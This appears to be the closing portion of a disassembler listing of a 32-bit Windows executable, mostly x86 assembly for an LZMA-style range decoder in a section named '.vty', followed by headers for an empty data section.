		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_448312:				; CODE XREF: .vty:004482F9j
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_448364
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	ecx, [ebp-18h]
		mov	[ebp-28h], ecx
		mov	ecx, [ebp-1Ch]
		mov	[ebp-18h], ecx
		mov	ecx, [ebp-14h]
		mov	[edx], edi
		mov	[ebp-1Ch], ecx
		jge	short loc_44834F
		and	dword ptr [ebp-0Ch], 0
		jmp	short loc_448356
; ---------------------------------------------------------------------------


loc_44834F:				; CODE XREF: .vty:00448347j
		mov	dword ptr [ebp-0Ch], 3


loc_448356:				; CODE XREF: .vty:0044834Dj
		mov	ecx, [ebp+10h]
		add	ecx, 0CC8h
		jmp	loc_44854D
; ---------------------------------------------------------------------------


loc_448364:				; CODE XREF: .vty:0044831Fj
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edi, [edx+ecx*4+330h]
		jnb	short loc_44839D
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_44839D:				; CODE XREF: .vty:00448384j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	loc_448451
		mov	ebx, 800h
		sub	ebx, ecx
		shr	ebx, 5
		add	ebx, ecx
		mov	ecx, [ebp-0Ch]
		add	ecx, 0Fh
		shl	ecx, 4
		mov	[edi], ebx
		mov	edi, [ebp+10h]
		add	ecx, esi
		cmp	edx, 1000000h
		mov	eax, edx
		lea	edi, [edi+ecx*4]
		jnb	short loc_4483F2
		mov	ecx, [ebp+0Ch]
		shl	edx, 8
		mov	eax, edx
		mov	edx, [ebp-8]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4483F2:				; CODE XREF: .vty:004483D7j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	short loc_44843E
		mov	esi, [ebp-10h]
		mov	eax, edx
		mov	edx, 800h
		sub	edx, ecx
		shr	edx, 5
		add	edx, ecx
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	[edi], edx
		mov	edx, [ebp+8]
		setnl	cl
		lea	ecx, [ecx+ecx+9]
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		inc	dword ptr [ebp-10h]
		mov	cl, [edx+ecx]
		mov	[ebp-1], cl
		mov	[edx+esi], cl
		jmp	loc_44812A
; ---------------------------------------------------------------------------


loc_44843E:				; CODE XREF: .vty:004483FFj
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	[edi], ecx
		jmp	loc_448531
; ---------------------------------------------------------------------------


loc_448451:				; CODE XREF: .vty:004483AAj
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		cmp	eax, 1000000h
		mov	edx, [ebp+10h]
		mov	[edi], ecx
		mov	ecx, [ebp-0Ch]
		lea	edx, [edx+ecx*4+360h]
		jnb	short loc_44848A
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_44848A:				; CODE XREF: .vty:00448471j
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_4484AE
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-1Ch]
		mov	[edx], edi
		jmp	short loc_448528
; ---------------------------------------------------------------------------


loc_4484AE:				; CODE XREF: .vty:00448497j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edx, [edx+ecx*4+390h]
		jnb	short loc_4484E7
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4484E7:				; CODE XREF: .vty:004484CEj
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_44850B
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-18h]
		mov	[edx], edi
		jmp	short loc_448522
; ---------------------------------------------------------------------------


loc_44850B:				; CODE XREF: .vty:004484F4j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		mov	[edx], ecx
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		mov	[ebp-28h], edx


loc_448522:				; CODE XREF: .vty:00448509j
		mov	edx, [ebp-1Ch]
		mov	[ebp-18h], edx


loc_448528:				; CODE XREF: .vty:004484ACj
		mov	edx, [ebp-14h]
		mov	[ebp-1Ch], edx
		mov	[ebp-14h], ecx


loc_448531:				; CODE XREF: .vty:0044844Cj
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 0Bh
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp+10h]
		add	ecx, 14D0h


loc_44854D:				; CODE XREF: .vty:0044835Fj
		cmp	eax, 1000000h
		jnb	short loc_44856B
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_44856B:				; CODE XREF: .vty:00448552j
		mov	edx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_448597
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		and	dword ptr [ebp-24h], 0
		mov	[ecx], edi
		lea	ecx, [ecx+esi+8]
		jmp	short loc_4485F5
; ---------------------------------------------------------------------------


loc_448597:				; CODE XREF: .vty:00448578j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, edx
		shr	edi, 5
		sub	edx, edi
		cmp	eax, 1000000h
		mov	[ecx], edx
		jnb	short loc_4485C3
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_4485C3:				; CODE XREF: .vty:004485AAj
		mov	edx, [ecx+4]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_4485FE
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		mov	[ecx+4], edi
		lea	ecx, [ecx+esi+208h]
		mov	dword ptr [ebp-24h], 8


loc_4485F5:				; CODE XREF: .vty:00448595j
		mov	dword ptr [ebp-20h], 3
		jmp	short loc_448621
; ---------------------------------------------------------------------------


loc_4485FE:				; CODE XREF: .vty:004485D1j
		sub	[ebp+0Ch], edi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		sub	eax, edi
		mov	[ecx+4], edx
		add	ecx, 408h
		mov	dword ptr [ebp-24h], 10h
		mov	dword ptr [ebp-20h], 8


loc_448621:				; CODE XREF: .vty:004485FCj
		mov	edx, [ebp-20h]
		xor	ebx, ebx
		mov	[ebp-2Ch], edx
		inc	ebx


loc_44862A:				; CODE XREF: .vty:00448683j
		cmp	eax, 1000000h
		jnb	short loc_448648
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_448648:				; CODE XREF: .vty:0044862Fj
		mov	edx, [ecx+ebx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_44866D
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ecx+ebx*4], esi
		add	ebx, ebx
		jmp	short loc_448680
; ---------------------------------------------------------------------------


loc_44866D:				; CODE XREF: .vty:00448656j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		mov	[ecx+ebx*4], edx
		lea	ebx, [ebx+ebx+1]


loc_448680:				; CODE XREF: .vty:0044866Bj
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_44862A
		mov	ecx, [ebp-20h]
		xor	edx, edx
		inc	edx
		mov	esi, edx
		shl	esi, cl
		mov	ecx, [ebp-24h]
		sub	ecx, esi
		add	ebx, ecx
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-30h], ebx
		jge	loc_448837
		add	dword ptr [ebp-0Ch], 7
		cmp	ebx, 4
		jge	short loc_4486B0
		mov	ecx, ebx
		jmp	short loc_4486B3
; ---------------------------------------------------------------------------


loc_4486B0:				; CODE XREF: .vty:004486AAj
		push	3
		pop	ecx


loc_4486B3:				; CODE XREF: .vty:004486AEj
		mov	esi, [ebp+10h]
		shl	ecx, 8
		lea	edi, [esi+ecx+6C0h]
		mov	dword ptr [ebp-2Ch], 6


loc_4486C7:				; CODE XREF: .vty:00448720j
		cmp	eax, 1000000h
		jnb	short loc_4486E5
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4486E5:				; CODE XREF: .vty:004486CCj
		mov	ecx, [edi+edx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_44870A
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi+edx*4], esi
		add	edx, edx
		jmp	short loc_44871D
; ---------------------------------------------------------------------------


loc_44870A:				; CODE XREF: .vty:004486F3j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi+edx*4], ecx
		lea	edx, [edx+edx+1]


loc_44871D:				; CODE XREF: .vty:00448708j
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_4486C7
		sub	edx, 40h
		cmp	edx, 4
		mov	edi, edx
		jl	loc_448808
		mov	ecx, edx
		sar	ecx, 1
		and	edi, 1
		dec	ecx
		or	edi, 2
		cmp	edx, 0Eh
		mov	[ebp-14h], ecx
		jge	short loc_448755
		shl	edi, cl
		mov	ecx, edi
		sub	ecx, edx
		mov	edx, [ebp+10h]
		lea	ebx, [edx+ecx*4+0ABCh]
		jmp	short loc_44879B
; ---------------------------------------------------------------------------


loc_448755:				; CODE XREF: .vty:00448741j
		sub	ecx, 4


loc_448758:				; CODE XREF: .vty:00448786j
		cmp	eax, 1000000h
		jnb	short loc_448776
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_448776:				; CODE XREF: .vty:0044875Dj
		shr	eax, 1
		add	edi, edi
		cmp	[ebp+0Ch], eax
		jb	short loc_448785
		sub	[ebp+0Ch], eax
		or	edi, 1


loc_448785:				; CODE XREF: .vty:0044877Dj
		dec	ecx
		jnz	short loc_448758
		mov	ebx, [ebp+10h]
		add	ebx, 0C88h
		shl	edi, 4
		mov	dword ptr [ebp-14h], 4


loc_44879B:				; CODE XREF: .vty:00448753j
		xor	ecx, ecx
		inc	ecx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ecx


loc_4487A4:				; CODE XREF: .vty:00448806j
		cmp	eax, 1000000h
		jnb	short loc_4487C2
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_4487C2:				; CODE XREF: .vty:004487A9j
		mov	edx, [ebx+ecx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_4487E7
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ebx+ecx*4], esi
		add	ecx, ecx
		jmp	short loc_448800
; ---------------------------------------------------------------------------


loc_4487E7:				; CODE XREF: .vty:004487D0j
		sub	[ebp+0Ch], esi
		mov	ebx, [ebp-20h]
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		or	edi, [ebp-24h]
		mov	[ebx+ecx*4], edx
		lea	ecx, [ecx+ecx+1]


loc_448800:				; CODE XREF: .vty:004487E5j
		shl	dword ptr [ebp-24h], 1
		dec	dword ptr [ebp-14h]
		jnz	short loc_4487A4


loc_448808:				; CODE XREF: .vty:0044872Aj
		inc	edi
		mov	[ebp-14h], edi
		jz	short loc_44883C
		mov	ebx, [ebp-30h]


loc_448811:				; CODE XREF: .vty:0044883Aj
		mov	ecx, [ebp-10h]
		inc	ebx
		sub	ecx, edi
		inc	ebx
		add	ecx, [ebp+8]


loc_44881B:				; CODE XREF: .vty:00448830j
		mov	dl, [ecx]
		mov	esi, [ebp-10h]
		mov	edi, [ebp+8]
		dec	ebx
		inc	dword ptr [ebp-10h]
		inc	ecx
		test	ebx, ebx
		mov	[ebp-1], dl
		mov	[edi+esi], dl
		jnz	short loc_44881B
		jmp	loc_44812A
; ---------------------------------------------------------------------------


loc_448837:				; CODE XREF: .vty:0044869Dj
		mov	edi, [ebp-14h]
		jmp	short loc_448811
; ---------------------------------------------------------------------------


loc_44883C:				; CODE XREF: .vty:0044880Cj
		mov	eax, [ebp-10h]
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 800h
_vty		ends

; Section 3. (virtual address 00049000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00049000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 449000h
		align 2000h
_idata2		ends


		end start